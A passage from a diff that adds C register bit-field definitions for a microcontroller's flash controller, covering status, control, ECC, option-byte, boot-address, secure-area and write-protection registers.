FLASH_NSSR_PGAERR_Pos) /*!< 0x00000020 */ +#define FLASH_NSSR_PGAERR FLASH_NSSR_PGAERR_Msk /*!< Non-secure programming alignment error */ +#define FLASH_NSSR_SIZERR_Pos (6UL) +#define FLASH_NSSR_SIZERR_Msk (0x1UL << FLASH_NSSR_SIZERR_Pos) /*!< 0x00000040 */ +#define FLASH_NSSR_SIZERR FLASH_NSSR_SIZERR_Msk /*!< Non-secure size error */ +#define FLASH_NSSR_PGSERR_Pos (7UL) +#define FLASH_NSSR_PGSERR_Msk (0x1UL << FLASH_NSSR_PGSERR_Pos) /*!< 0x00000080 */ +#define FLASH_NSSR_PGSERR FLASH_NSSR_PGSERR_Msk /*!< Non-secure programming sequence error */ +#define FLASH_NSSR_OPTWERR_Pos (13UL) +#define FLASH_NSSR_OPTWERR_Msk (0x1UL << FLASH_NSSR_OPTWERR_Pos) /*!< 0x00002000 */ +#define FLASH_NSSR_OPTWERR FLASH_NSSR_OPTWERR_Msk /*!< Option write error */ +#define FLASH_NSSR_BSY_Pos (16UL) +#define FLASH_NSSR_BSY_Msk (0x1UL << FLASH_NSSR_BSY_Pos) /*!< 0x00010000 */ +#define FLASH_NSSR_BSY FLASH_NSSR_BSY_Msk /*!< Non-secure busy */ +#define FLASH_NSSR_WDW_Pos (17UL) +#define FLASH_NSSR_WDW_Msk (0x1UL << FLASH_NSSR_WDW_Pos) /*!< 0x00020000 */ +#define FLASH_NSSR_WDW FLASH_NSSR_WDW_Msk /*!< Non-secure wait data to write */ +#define FLASH_NSSR_OEM1LOCK_Pos (18UL) +#define FLASH_NSSR_OEM1LOCK_Msk (0x1UL << FLASH_NSSR_OEM1LOCK_Pos) /*!< 0x00040000 */ +#define FLASH_NSSR_OEM1LOCK FLASH_NSSR_OEM1LOCK_Msk /*!< OEM1 lock */ +#define FLASH_NSSR_OEM2LOCK_Pos (19UL) +#define FLASH_NSSR_OEM2LOCK_Msk (0x1UL << FLASH_NSSR_OEM2LOCK_Pos) /*!< 0x00080000 */ +#define FLASH_NSSR_OEM2LOCK FLASH_NSSR_OEM2LOCK_Msk /*!< OEM2 lock */ +#define FLASH_NSSR_PD1_Pos (20UL) +#define FLASH_NSSR_PD1_Msk (0x1UL << FLASH_NSSR_PD1_Pos) /*!< 0x00100000 */ +#define FLASH_NSSR_PD1 FLASH_NSSR_PD1_Msk /*!< Bank 1 in power-down mode */ +#define FLASH_NSSR_PD2_Pos (21UL) +#define FLASH_NSSR_PD2_Msk (0x1UL << FLASH_NSSR_PD2_Pos) /*!< 0x00200000 */ +#define FLASH_NSSR_PD2 FLASH_NSSR_PD2_Msk /*!< Bank 2 in power-down mode */ + +/****************** Bits definition for FLASH_SECSR register ****************/ +#define FLASH_SECSR_EOP_Pos (0UL) +#define FLASH_SECSR_EOP_Msk (0x1UL << FLASH_SECSR_EOP_Pos) /*!< 0x00000001 */ +#define FLASH_SECSR_EOP FLASH_SECSR_EOP_Msk /*!< Secure end of operation */ +#define FLASH_SECSR_OPERR_Pos (1UL) +#define FLASH_SECSR_OPERR_Msk (0x1UL << FLASH_SECSR_OPERR_Pos) /*!< 0x00000002 */ +#define FLASH_SECSR_OPERR FLASH_SECSR_OPERR_Msk /*!< Secure operation error */ +#define FLASH_SECSR_PROGERR_Pos (3UL) +#define FLASH_SECSR_PROGERR_Msk (0x1UL << FLASH_SECSR_PROGERR_Pos) /*!< 0x00000008 */ +#define FLASH_SECSR_PROGERR FLASH_SECSR_PROGERR_Msk /*!< Secure programming error */ +#define FLASH_SECSR_WRPERR_Pos (4UL) +#define FLASH_SECSR_WRPERR_Msk (0x1UL << FLASH_SECSR_WRPERR_Pos) /*!< 0x00000010 */ +#define FLASH_SECSR_WRPERR FLASH_SECSR_WRPERR_Msk /*!< Secure write protection error */ +#define FLASH_SECSR_PGAERR_Pos (5UL) +#define FLASH_SECSR_PGAERR_Msk (0x1UL << FLASH_SECSR_PGAERR_Pos) /*!< 0x00000020 */ +#define FLASH_SECSR_PGAERR FLASH_SECSR_PGAERR_Msk /*!< Secure programming alignment error */ +#define FLASH_SECSR_SIZERR_Pos (6UL) +#define FLASH_SECSR_SIZERR_Msk (0x1UL << FLASH_SECSR_SIZERR_Pos) /*!< 0x00000040 */ +#define FLASH_SECSR_SIZERR FLASH_SECSR_SIZERR_Msk /*!< Secure size error */ +#define FLASH_SECSR_PGSERR_Pos (7UL) +#define FLASH_SECSR_PGSERR_Msk (0x1UL << FLASH_SECSR_PGSERR_Pos) /*!< 0x00000080 */ +#define FLASH_SECSR_PGSERR FLASH_SECSR_PGSERR_Msk /*!< Secure programming sequence error */ +#define FLASH_SECSR_BSY_Pos (16UL) +#define FLASH_SECSR_BSY_Msk (0x1UL << FLASH_SECSR_BSY_Pos) /*!< 0x00010000 */ +#define FLASH_SECSR_BSY FLASH_SECSR_BSY_Msk /*!< Secure busy */ +#define FLASH_SECSR_WDW_Pos (17UL) +#define FLASH_SECSR_WDW_Msk (0x1UL << FLASH_SECSR_WDW_Pos) /*!< 0x00020000 */ +#define FLASH_SECSR_WDW FLASH_SECSR_WDW_Msk /*!< Secure wait data to write */ + +/****************** Bits definition for FLASH_NSCR register *****************/ +#define FLASH_NSCR_PG_Pos (0UL) +#define FLASH_NSCR_PG_Msk (0x1UL << FLASH_NSCR_PG_Pos) /*!< 0x00000001 */ +#define FLASH_NSCR_PG FLASH_NSCR_PG_Msk /*!< Non-secure Programming */ +#define FLASH_NSCR_PER_Pos (1UL) +#define FLASH_NSCR_PER_Msk (0x1UL << FLASH_NSCR_PER_Pos) /*!< 0x00000002 */ +#define FLASH_NSCR_PER FLASH_NSCR_PER_Msk /*!< Non-secure Page Erase */ +#define FLASH_NSCR_MER1_Pos (2UL) +#define FLASH_NSCR_MER1_Msk (0x1UL << FLASH_NSCR_MER1_Pos) /*!< 0x00000004 */ +#define FLASH_NSCR_MER1 FLASH_NSCR_MER1_Msk /*!< Non-secure Bank 1 Mass Erase */ +#define FLASH_NSCR_PNB_Pos (3UL) +#define FLASH_NSCR_PNB_Msk (0xFFUL << FLASH_NSCR_PNB_Pos) /*!< 0x000007F8 */ +#define FLASH_NSCR_PNB FLASH_NSCR_PNB_Msk /*!< Non-secure Page Number selection */ +#define FLASH_NSCR_BKER_Pos (11UL) +#define FLASH_NSCR_BKER_Msk (0x1UL << FLASH_NSCR_BKER_Pos) /*!< 0x00000800 */ +#define FLASH_NSCR_BKER FLASH_NSCR_BKER_Msk /*!< Non-secure Bank Selection for Page Erase */ +#define FLASH_NSCR_BWR_Pos (14UL) +#define FLASH_NSCR_BWR_Msk (0x1UL << FLASH_NSCR_BWR_Pos) /*!< 0x00004000 */ +#define FLASH_NSCR_BWR FLASH_NSCR_BWR_Msk /*!< Non-secure Burst Write Programming mode */ +#define FLASH_NSCR_MER2_Pos (15UL) +#define FLASH_NSCR_MER2_Msk (0x1UL << FLASH_NSCR_MER2_Pos) /*!< 0x00008000 */ +#define FLASH_NSCR_MER2 FLASH_NSCR_MER2_Msk /*!< Non-secure Bank 2 Mass Erase */ +#define FLASH_NSCR_STRT_Pos (16UL) +#define FLASH_NSCR_STRT_Msk (0x1UL << FLASH_NSCR_STRT_Pos) /*!< 0x00010000 */ +#define FLASH_NSCR_STRT FLASH_NSCR_STRT_Msk /*!< Non-secure Start */ +#define FLASH_NSCR_OPTSTRT_Pos (17UL) +#define FLASH_NSCR_OPTSTRT_Msk (0x1UL << FLASH_NSCR_OPTSTRT_Pos) /*!< 0x00020000 */ +#define FLASH_NSCR_OPTSTRT FLASH_NSCR_OPTSTRT_Msk /*!< Option Modification Start */ +#define FLASH_NSCR_EOPIE_Pos (24UL) +#define FLASH_NSCR_EOPIE_Msk (0x1UL << FLASH_NSCR_EOPIE_Pos) /*!< 0x01000000 */ +#define FLASH_NSCR_EOPIE FLASH_NSCR_EOPIE_Msk /*!< Non-secure End of operation interrupt enable */ +#define FLASH_NSCR_ERRIE_Pos (25UL) +#define FLASH_NSCR_ERRIE_Msk (0x1UL << FLASH_NSCR_ERRIE_Pos) /*!< 0x02000000 */ +#define FLASH_NSCR_ERRIE FLASH_NSCR_ERRIE_Msk /*!< Non-secure error interrupt enable */ +#define FLASH_NSCR_OBL_LAUNCH_Pos (27UL) +#define FLASH_NSCR_OBL_LAUNCH_Msk (0x1UL << FLASH_NSCR_OBL_LAUNCH_Pos) /*!< 0x08000000 */ +#define FLASH_NSCR_OBL_LAUNCH FLASH_NSCR_OBL_LAUNCH_Msk /*!< Force the option byte loading */ +#define FLASH_NSCR_OPTLOCK_Pos (30UL) +#define FLASH_NSCR_OPTLOCK_Msk (0x1UL << FLASH_NSCR_OPTLOCK_Pos) /*!< 0x40000000 */ +#define FLASH_NSCR_OPTLOCK FLASH_NSCR_OPTLOCK_Msk /*!< Option Lock */ +#define FLASH_NSCR_LOCK_Pos (31UL) +#define FLASH_NSCR_LOCK_Msk (0x1UL << FLASH_NSCR_LOCK_Pos) /*!< 0x80000000 */ +#define FLASH_NSCR_LOCK FLASH_NSCR_LOCK_Msk /*!< Non-secure Lock */ + +/****************** Bits definition for FLASH_SECCR register ****************/ +#define FLASH_SECCR_PG_Pos (0UL) +#define FLASH_SECCR_PG_Msk (0x1UL << FLASH_SECCR_PG_Pos) /*!< 0x00000001 */ +#define FLASH_SECCR_PG FLASH_SECCR_PG_Msk /*!< Secure Programming */ +#define FLASH_SECCR_PER_Pos (1UL) +#define FLASH_SECCR_PER_Msk (0x1UL << FLASH_SECCR_PER_Pos) /*!< 0x00000002 */ +#define FLASH_SECCR_PER FLASH_SECCR_PER_Msk /*!< Secure Page Erase */ +#define FLASH_SECCR_MER1_Pos (2UL) +#define FLASH_SECCR_MER1_Msk (0x1UL << FLASH_SECCR_MER1_Pos) /*!< 0x00000004 */ +#define FLASH_SECCR_MER1 FLASH_SECCR_MER1_Msk /*!< Secure Bank 1 Mass Erase */ +#define FLASH_SECCR_PNB_Pos (3UL) +#define FLASH_SECCR_PNB_Msk (0xFFUL << FLASH_SECCR_PNB_Pos) /*!< 0x000007F8 */ +#define FLASH_SECCR_PNB FLASH_SECCR_PNB_Msk /*!< Secure Page Number selection */ +#define FLASH_SECCR_BKER_Pos (11UL) +#define FLASH_SECCR_BKER_Msk (0x1UL << FLASH_SECCR_BKER_Pos) /*!< 0x00000800 */ +#define FLASH_SECCR_BKER FLASH_SECCR_BKER_Msk /*!< Secure Bank Selection for Page Erase */ +#define FLASH_SECCR_BWR_Pos (14UL) +#define FLASH_SECCR_BWR_Msk (0x1UL << FLASH_SECCR_BWR_Pos) /*!< 0x00004000 */ +#define FLASH_SECCR_BWR FLASH_SECCR_BWR_Msk /*!< Secure Burst Write programming mode */ +#define FLASH_SECCR_MER2_Pos (15UL) +#define FLASH_SECCR_MER2_Msk (0x1UL << FLASH_SECCR_MER2_Pos) /*!< 0x00008000 */ +#define FLASH_SECCR_MER2 FLASH_SECCR_MER2_Msk /*!< Secure Bank 2 Mass Erase */ +#define FLASH_SECCR_STRT_Pos (16UL) +#define FLASH_SECCR_STRT_Msk (0x1UL << FLASH_SECCR_STRT_Pos) /*!< 0x00010000 */ +#define FLASH_SECCR_STRT FLASH_SECCR_STRT_Msk /*!< Secure Start */ +#define FLASH_SECCR_EOPIE_Pos (24UL) +#define FLASH_SECCR_EOPIE_Msk (0x1UL << FLASH_SECCR_EOPIE_Pos) /*!< 0x01000000 */ +#define FLASH_SECCR_EOPIE FLASH_SECCR_EOPIE_Msk /*!< Secure end of operation interrupt enable */ +#define FLASH_SECCR_ERRIE_Pos (25UL) +#define FLASH_SECCR_ERRIE_Msk (0x1UL << FLASH_SECCR_ERRIE_Pos) /*!< 0x02000000 */ +#define FLASH_SECCR_ERRIE FLASH_SECCR_ERRIE_Msk /*!< Secure error interrupt enable */ +#define FLASH_SECCR_INV_Pos (29UL) +#define FLASH_SECCR_INV_Msk (0x1UL << FLASH_SECCR_INV_Pos) /*!< 0x20000000 */ +#define FLASH_SECCR_INV FLASH_SECCR_INV_Msk /*!< Flash Security State Invert */ +#define FLASH_SECCR_LOCK_Pos (31UL) +#define FLASH_SECCR_LOCK_Msk (0x1UL << FLASH_SECCR_LOCK_Pos) /*!< 0x80000000 */ +#define FLASH_SECCR_LOCK FLASH_SECCR_LOCK_Msk /*!< Secure Lock */ + +/******************* Bits definition for FLASH_ECCR register ***************/ +#define FLASH_ECCR_ADDR_ECC_Pos (0UL) +#define FLASH_ECCR_ADDR_ECC_Msk (0x1FFFFFUL << FLASH_ECCR_ADDR_ECC_Pos) /*!< 0x001FFFFF */ +#define FLASH_ECCR_ADDR_ECC FLASH_ECCR_ADDR_ECC_Msk /*!< ECC fail address */ +#define FLASH_ECCR_BK_ECC_Pos (21UL) +#define FLASH_ECCR_BK_ECC_Msk (0x1UL << FLASH_ECCR_BK_ECC_Pos) /*!< 0x00200000 */ +#define FLASH_ECCR_BK_ECC FLASH_ECCR_BK_ECC_Msk /*!< ECC fail bank */ +#define FLASH_ECCR_SYSF_ECC_Pos (22UL) +#define FLASH_ECCR_SYSF_ECC_Msk (0x1UL << FLASH_ECCR_SYSF_ECC_Pos) /*!< 0x00400000 */ +#define FLASH_ECCR_SYSF_ECC FLASH_ECCR_SYSF_ECC_Msk /*!< System Flash ECC fail */ +#define FLASH_ECCR_ECCIE_Pos (24UL) +#define FLASH_ECCR_ECCIE_Msk (0x1UL << FLASH_ECCR_ECCIE_Pos) /*!< 0x01000000 */ +#define FLASH_ECCR_ECCIE FLASH_ECCR_ECCIE_Msk /*!< ECC correction interrupt enable */ +#define FLASH_ECCR_ECCC_Pos (30UL) +#define FLASH_ECCR_ECCC_Msk (0x1UL << FLASH_ECCR_ECCC_Pos) /*!< 0x40000000 */ +#define FLASH_ECCR_ECCC FLASH_ECCR_ECCC_Msk /*!< ECC correction */ +#define FLASH_ECCR_ECCD_Pos (31UL) +#define FLASH_ECCR_ECCD_Msk (0x1UL << FLASH_ECCR_ECCD_Pos) /*!< 0x80000000 */ +#define FLASH_ECCR_ECCD FLASH_ECCR_ECCD_Msk /*!< ECC detection */ + +/******************* Bits definition for FLASH_OPSR register ***************/ +#define FLASH_OPSR_ADDR_OP_Pos (0UL) +#define FLASH_OPSR_ADDR_OP_Msk (0x1FFFFFUL << FLASH_OPSR_ADDR_OP_Pos) /*!< 0x001FFFFF */ +#define FLASH_OPSR_ADDR_OP FLASH_OPSR_ADDR_OP_Msk /*!< Flash operation address */ +#define FLASH_OPSR_BK_OP_Pos (21UL) +#define FLASH_OPSR_BK_OP_Msk (0x1UL << FLASH_OPSR_BK_OP_Pos) /*!< 0x00200000 */ +#define FLASH_OPSR_BK_OP FLASH_OPSR_BK_OP_Msk /*!< Interrupted operation bank */ +#define FLASH_OPSR_SYSF_OP_Pos (22UL) +#define FLASH_OPSR_SYSF_OP_Msk (0x1UL << FLASH_OPSR_SYSF_OP_Pos) /*!< 0x00400000 */ +#define FLASH_OPSR_SYSF_OP FLASH_OPSR_SYSF_OP_Msk /*!< Operation in System Flash interrupted */ +#define FLASH_OPSR_CODE_OP_Pos (29UL) +#define FLASH_OPSR_CODE_OP_Msk (0x7UL << FLASH_OPSR_CODE_OP_Pos) /*!< 0xE0000000 */ +#define FLASH_OPSR_CODE_OP FLASH_OPSR_CODE_OP_Msk /*!< Flash operation code */ +#define FLASH_OPSR_CODE_OP_0 (0x1UL << FLASH_OPSR_CODE_OP_Pos) /*!< 0x20000000 */ +#define FLASH_OPSR_CODE_OP_1 (0x2UL << FLASH_OPSR_CODE_OP_Pos) /*!< 0x40000000 */ +#define FLASH_OPSR_CODE_OP_2 (0x4UL << FLASH_OPSR_CODE_OP_Pos) /*!< 0x80000000 */ + +/******************* Bits definition for FLASH_OPTR register ***************/ +#define FLASH_OPTR_RDP_Pos (0UL) +#define FLASH_OPTR_RDP_Msk (0xFFUL << FLASH_OPTR_RDP_Pos) /*!< 0x000000FF */ +#define FLASH_OPTR_RDP FLASH_OPTR_RDP_Msk /*!< Readout protection level */ +#define FLASH_OPTR_BOR_LEV_Pos (8UL) +#define FLASH_OPTR_BOR_LEV_Msk (0x7UL << FLASH_OPTR_BOR_LEV_Pos) /*!< 0x00000700 */ +#define FLASH_OPTR_BOR_LEV FLASH_OPTR_BOR_LEV_Msk /*!< BOR reset Level */ +#define FLASH_OPTR_BOR_LEV_0 (0x1UL << FLASH_OPTR_BOR_LEV_Pos) /*!< 0x00000100 */ +#define FLASH_OPTR_BOR_LEV_1 (0x2UL << FLASH_OPTR_BOR_LEV_Pos) /*!< 0x00000200 */ +#define FLASH_OPTR_BOR_LEV_2 (0x4UL << FLASH_OPTR_BOR_LEV_Pos) /*!< 0x00000400 */ +#define FLASH_OPTR_nRST_STOP_Pos (12UL) +#define FLASH_OPTR_nRST_STOP_Msk (0x1UL << FLASH_OPTR_nRST_STOP_Pos) /*!< 0x00001000 */ +#define FLASH_OPTR_nRST_STOP FLASH_OPTR_nRST_STOP_Msk /*!< nRST_STOP */ +#define FLASH_OPTR_nRST_STDBY_Pos (13UL) +#define FLASH_OPTR_nRST_STDBY_Msk (0x1UL << FLASH_OPTR_nRST_STDBY_Pos) /*!< 0x00002000 */ +#define FLASH_OPTR_nRST_STDBY FLASH_OPTR_nRST_STDBY_Msk /*!< nRST_STDBY */ +#define FLASH_OPTR_nRST_SHDW_Pos (14UL) +#define FLASH_OPTR_nRST_SHDW_Msk (0x1UL << FLASH_OPTR_nRST_SHDW_Pos) /*!< 0x00004000 */ +#define FLASH_OPTR_nRST_SHDW FLASH_OPTR_nRST_SHDW_Msk /*!< nRST_SHDW */ +#define FLASH_OPTR_SRAM_RST_Pos (15UL) +#define FLASH_OPTR_SRAM_RST_Msk (0x1UL << FLASH_OPTR_SRAM_RST_Pos) /*!< 0x00008000 */ +#define FLASH_OPTR_SRAM_RST FLASH_OPTR_SRAM_RST_Msk /*!< All SRAMs (except SRAM2 and BKPSRAM) erase upon system reset */ +#define FLASH_OPTR_IWDG_SW_Pos (16UL) +#define FLASH_OPTR_IWDG_SW_Msk (0x1UL << FLASH_OPTR_IWDG_SW_Pos) /*!< 0x00010000 */ +#define FLASH_OPTR_IWDG_SW FLASH_OPTR_IWDG_SW_Msk /*!< Independent watchdog selection */ +#define FLASH_OPTR_IWDG_STOP_Pos (17UL) +#define FLASH_OPTR_IWDG_STOP_Msk (0x1UL << FLASH_OPTR_IWDG_STOP_Pos) /*!< 0x00020000 */ +#define FLASH_OPTR_IWDG_STOP FLASH_OPTR_IWDG_STOP_Msk /*!< Independent watchdog counter freeze in Stop mode */ +#define FLASH_OPTR_IWDG_STDBY_Pos (18UL) +#define FLASH_OPTR_IWDG_STDBY_Msk (0x1UL << FLASH_OPTR_IWDG_STDBY_Pos) /*!< 0x00040000 */ +#define FLASH_OPTR_IWDG_STDBY FLASH_OPTR_IWDG_STDBY_Msk /*!< Independent watchdog counter freeze in Standby mode */ +#define FLASH_OPTR_WWDG_SW_Pos (19UL) +#define FLASH_OPTR_WWDG_SW_Msk (0x1UL << FLASH_OPTR_WWDG_SW_Pos) /*!< 0x00080000 */ +#define FLASH_OPTR_WWDG_SW FLASH_OPTR_WWDG_SW_Msk /*!< Window watchdog selection */ +#define FLASH_OPTR_SWAP_BANK_Pos (20UL) +#define FLASH_OPTR_SWAP_BANK_Msk (0x1UL << FLASH_OPTR_SWAP_BANK_Pos) /*!< 0x00100000 */ +#define FLASH_OPTR_SWAP_BANK FLASH_OPTR_SWAP_BANK_Msk /*!< Swap banks */ +#define FLASH_OPTR_DUALBANK_Pos (21UL) +#define FLASH_OPTR_DUALBANK_Msk (0x1UL << FLASH_OPTR_DUALBANK_Pos) /*!< 0x00200000 */ +#define FLASH_OPTR_DUALBANK FLASH_OPTR_DUALBANK_Msk /*!< Dual-bank on 1M and 512 Kbytes Flash memory devices */ +#define FLASH_OPTR_BKPRAM_ECC_Pos (22UL) +#define FLASH_OPTR_BKPRAM_ECC_Msk (0x1UL << FLASH_OPTR_BKPRAM_ECC_Pos) /*!< 0x00400000 */ +#define FLASH_OPTR_BKPRAM_ECC FLASH_OPTR_BKPRAM_ECC_Msk /*!< Backup RAM ECC detection and correction enable */ +#define FLASH_OPTR_SRAM3_ECC_Pos (23UL) +#define FLASH_OPTR_SRAM3_ECC_Msk (0x1UL << FLASH_OPTR_SRAM3_ECC_Pos) /*!< 0x00800000 */ +#define FLASH_OPTR_SRAM3_ECC FLASH_OPTR_SRAM3_ECC_Msk /*!< SRAM3 ECC detection and correction enable */ +#define FLASH_OPTR_SRAM2_ECC_Pos (24UL) +#define FLASH_OPTR_SRAM2_ECC_Msk (0x1UL << FLASH_OPTR_SRAM2_ECC_Pos) /*!< 0x01000000 */ +#define FLASH_OPTR_SRAM2_ECC FLASH_OPTR_SRAM2_ECC_Msk /*!< SRAM2 ECC detection and correction enable*/ +#define FLASH_OPTR_SRAM2_RST_Pos (25UL) +#define FLASH_OPTR_SRAM2_RST_Msk (0x1UL << FLASH_OPTR_SRAM2_RST_Pos) /*!< 0x02000000 */ +#define FLASH_OPTR_SRAM2_RST FLASH_OPTR_SRAM2_RST_Msk /*!< SRAM2 erase when system reset */ +#define FLASH_OPTR_nSWBOOT0_Pos (26UL) +#define FLASH_OPTR_nSWBOOT0_Msk (0x1UL << FLASH_OPTR_nSWBOOT0_Pos) /*!< 0x04000000 */ +#define FLASH_OPTR_nSWBOOT0 FLASH_OPTR_nSWBOOT0_Msk /*!< Software BOOT0 */ +#define FLASH_OPTR_nBOOT0_Pos (27UL) +#define FLASH_OPTR_nBOOT0_Msk (0x1UL << FLASH_OPTR_nBOOT0_Pos) /*!< 0x08000000 */ +#define FLASH_OPTR_nBOOT0 FLASH_OPTR_nBOOT0_Msk /*!< nBOOT0 option bit */ +#define FLASH_OPTR_PA15_PUPEN_Pos (28UL) +#define FLASH_OPTR_PA15_PUPEN_Msk (0x1UL << FLASH_OPTR_PA15_PUPEN_Pos) /*!< 0x10000000 */ +#define FLASH_OPTR_PA15_PUPEN FLASH_OPTR_PA15_PUPEN_Msk /*!< PA15 pull-up enable */ +#define FLASH_OPTR_IO_VDD_HSLV_Pos (29UL) +#define FLASH_OPTR_IO_VDD_HSLV_Msk (0x1UL << FLASH_OPTR_IO_VDD_HSLV_Pos) /*!< 0x20000000 */ +#define FLASH_OPTR_IO_VDD_HSLV FLASH_OPTR_IO_VDD_HSLV_Msk /*!< High speed IO at low voltage configuration bit */ +#define FLASH_OPTR_IO_VDDIO2_HSLV_Pos (30UL) +#define FLASH_OPTR_IO_VDDIO2_HSLV_Msk (0x1UL << FLASH_OPTR_IO_VDDIO2_HSLV_Pos) /*!< 0x40000000 */ +#define FLASH_OPTR_IO_VDDIO2_HSLV FLASH_OPTR_IO_VDDIO2_HSLV_Msk /*!< High speed IO at low VDDIO2 voltage configuration bit */ +#define FLASH_OPTR_TZEN_Pos (31UL) +#define FLASH_OPTR_TZEN_Msk (0x1UL << FLASH_OPTR_TZEN_Pos) /*!< 0x80000000 */ +#define FLASH_OPTR_TZEN FLASH_OPTR_TZEN_Msk /*!< Global TrustZone security enable */ + +/**************** Bits definition for FLASH_NSBOOTADD0R register ************/ +#define FLASH_NSBOOTADD0R_NSBOOTADD0_Pos (7UL) +#define FLASH_NSBOOTADD0R_NSBOOTADD0_Msk (0x1FFFFFFUL << FLASH_NSBOOTADD0R_NSBOOTADD0_Pos) /*!< 0xFFFFFF80 */ +#define FLASH_NSBOOTADD0R_NSBOOTADD0 FLASH_NSBOOTADD0R_NSBOOTADD0_Msk /*!< Non-secure boot address 0 */ + +/**************** Bits definition for FLASH_NSBOOTADD1R register ************/ +#define FLASH_NSBOOTADD1R_NSBOOTADD1_Pos (7UL) +#define FLASH_NSBOOTADD1R_NSBOOTADD1_Msk (0x1FFFFFFUL << FLASH_NSBOOTADD1R_NSBOOTADD1_Pos) /*!< 0xFFFFFF80 */ +#define FLASH_NSBOOTADD1R_NSBOOTADD1 FLASH_NSBOOTADD1R_NSBOOTADD1_Msk /*!< Non-secure boot address 1 */ + +/**************** Bits definition for FLASH_SECBOOTADD0R register ***********/ +#define FLASH_SECBOOTADD0R_BOOT_LOCK_Pos (0UL) +#define FLASH_SECBOOTADD0R_BOOT_LOCK_Msk (0x1UL << FLASH_SECBOOTADD0R_BOOT_LOCK_Pos) /*!< 0x00000001 */ +#define FLASH_SECBOOTADD0R_BOOT_LOCK FLASH_SECBOOTADD0R_BOOT_LOCK_Msk /*!< Boot Lock */ +#define FLASH_SECBOOTADD0R_SECBOOTADD0_Pos (7UL) +#define FLASH_SECBOOTADD0R_SECBOOTADD0_Msk (0x1FFFFFFUL << FLASH_SECBOOTADD0R_SECBOOTADD0_Pos) /*!< 0xFFFFFF80 */ +#define FLASH_SECBOOTADD0R_SECBOOTADD0 FLASH_SECBOOTADD0R_SECBOOTADD0_Msk /*!< Secure boot address 0 */ + +/***************** Bits definition for FLASH_SECWM1R1 register **************/ +#define FLASH_SECWM1R1_SECWM1_PSTRT_Pos (0UL) +#define FLASH_SECWM1R1_SECWM1_PSTRT_Msk (0xFFUL << FLASH_SECWM1R1_SECWM1_PSTRT_Pos) /*!< 0x000000FF */ +#define FLASH_SECWM1R1_SECWM1_PSTRT FLASH_SECWM1R1_SECWM1_PSTRT_Msk /*!< Start page of first secure area */ +#define FLASH_SECWM1R1_SECWM1_PEND_Pos (16UL) +#define FLASH_SECWM1R1_SECWM1_PEND_Msk (0xFFUL << FLASH_SECWM1R1_SECWM1_PEND_Pos) /*!< 0x00FF0000 */ +#define FLASH_SECWM1R1_SECWM1_PEND FLASH_SECWM1R1_SECWM1_PEND_Msk /*!< End page of first secure area */ + +/***************** Bits definition for FLASH_SECWM1R2 register **************/ +#define FLASH_SECWM1R2_HDP1_PEND_Pos (16UL) +#define FLASH_SECWM1R2_HDP1_PEND_Msk (0xFFUL << FLASH_SECWM1R2_HDP1_PEND_Pos) /*!< 0x00FF0000 */ +#define FLASH_SECWM1R2_HDP1_PEND FLASH_SECWM1R2_HDP1_PEND_Msk /*!< End page of first hide protection area */ +#define FLASH_SECWM1R2_HDP1EN_Pos (31UL) +#define FLASH_SECWM1R2_HDP1EN_Msk (0x1UL << FLASH_SECWM1R2_HDP1EN_Pos) /*!< 0x80000000 */ +#define FLASH_SECWM1R2_HDP1EN FLASH_SECWM1R2_HDP1EN_Msk /*!< Hide protection first area enable */ + +/****************** Bits definition for FLASH_WRP1AR register ***************/ +#define FLASH_WRP1AR_WRP1A_PSTRT_Pos (0UL) +#define FLASH_WRP1AR_WRP1A_PSTRT_Msk (0xFFUL << FLASH_WRP1AR_WRP1A_PSTRT_Pos) /*!< 0x000000FF */ +#define FLASH_WRP1AR_WRP1A_PSTRT FLASH_WRP1AR_WRP1A_PSTRT_Msk /*!< Bank 1 WPR first area A start page */ +#define FLASH_WRP1AR_WRP1A_PEND_Pos (16UL) +#define FLASH_WRP1AR_WRP1A_PEND_Msk (0xFFUL << FLASH_WRP1AR_WRP1A_PEND_Pos) /*!< 0x00FF0000 */ +#define FLASH_WRP1AR_WRP1A_PEND FLASH_WRP1AR_WRP1A_PEND_Msk /*!< Bank 1 WPR first area A end page */ +#define FLASH_WRP1AR_UNLOCK_Pos (31UL) +#define FLASH_WRP1AR_UNLOCK_Msk (0x1UL << FLASH_WRP1AR_UNLOCK_Pos) /*!< 0x80000000 */ +#define FLASH_WRP1AR_UNLOCK FLASH_WRP1AR_UNLOCK_Msk /*!< Bank 1 WPR first area A unlock */ + +/****************** Bits definition for FLASH_WRP1BR register ***************/ +#define FLASH_WRP1BR_WRP1B_PSTRT_Pos (0UL) +#define FLASH_WRP1BR_WRP1B_PSTRT_Msk (0xFFUL << FLASH_WRP1BR_WRP1B_PSTRT_Pos) /*!< 0x000000FF */ +#define FLASH_WRP1BR_WRP1B_PSTRT FLASH_WRP1BR_WRP1B_PSTRT_Msk /*!< Bank 1 WPR second area B start page */ +#define FLASH_WRP1BR_WRP1B_PEND_Pos (16UL) +#define FLASH_WRP1BR_WRP1B_PEND_Msk (0xFFUL << FLASH_WRP1BR_WRP1B_PEND_Pos) /*!< 0x00FF0000 */ +#define FLASH_WRP1BR_WRP1B_PEND FLASH_WRP1BR_WRP1B_PEND_Msk /*!< Bank 1 WPR second area B end page */ +#define FLASH_WRP1BR_UNLOCK_Pos (31UL) +#define FLASH_WRP1BR_UNLOCK_Msk (0x1UL << FLASH_WRP1BR_UNLOCK_Pos) /*!< 0x80000000 */ +#define FLASH_WRP1BR_UNLOCK FLASH_WRP1BR_UNLOCK_Msk /*!< Bank 1 WPR first area B unlock */ + +/***************** Bits definition for FLASH_SECWM2R1 register **************/ +#define FLASH_SECWM2R1_SECWM2_PSTRT_Pos (0UL) +#define FLASH_SECWM2R1_SECWM2_PSTRT_Msk (0xFFUL << FLASH_SECWM2R1_SECWM2_PSTRT_Pos) /*!< 0x000000FF */ +#define FLASH_SECWM2R1_SECWM2_PSTRT FLASH_SECWM2R1_SECWM2_PSTRT_Msk /*!< Start page of second secure area */ +#define FLASH_SECWM2R1_SECWM2_PEND_Pos (16UL) +#define FLASH_SECWM2R1_SECWM2_PEND_Msk (0xFFUL << FLASH_SECWM2R1_SECWM2_PEND_Pos) /*!< 0x00FF0000 */ +#define FLASH_SECWM2R1_SECWM2_PEND FLASH_SECWM2R1_SECWM2_PEND_Msk /*!< End page of second secure area */ + +/***************** Bits definition for FLASH_SECWM2R2 register **************/ +#define FLASH_SECWM2R2_HDP2_PEND_Pos (16UL) +#define FLASH_SECWM2R2_HDP2_PEND_Msk (0xFFUL << FLASH_SECWM2R2_HDP2_PEND_Pos) /*!< 0x00FF0000 */ +#define FLASH_SECWM2R2_HDP2_PEND FLASH_SECWM2R2_HDP2_PEND_Msk /*!< End page of hide 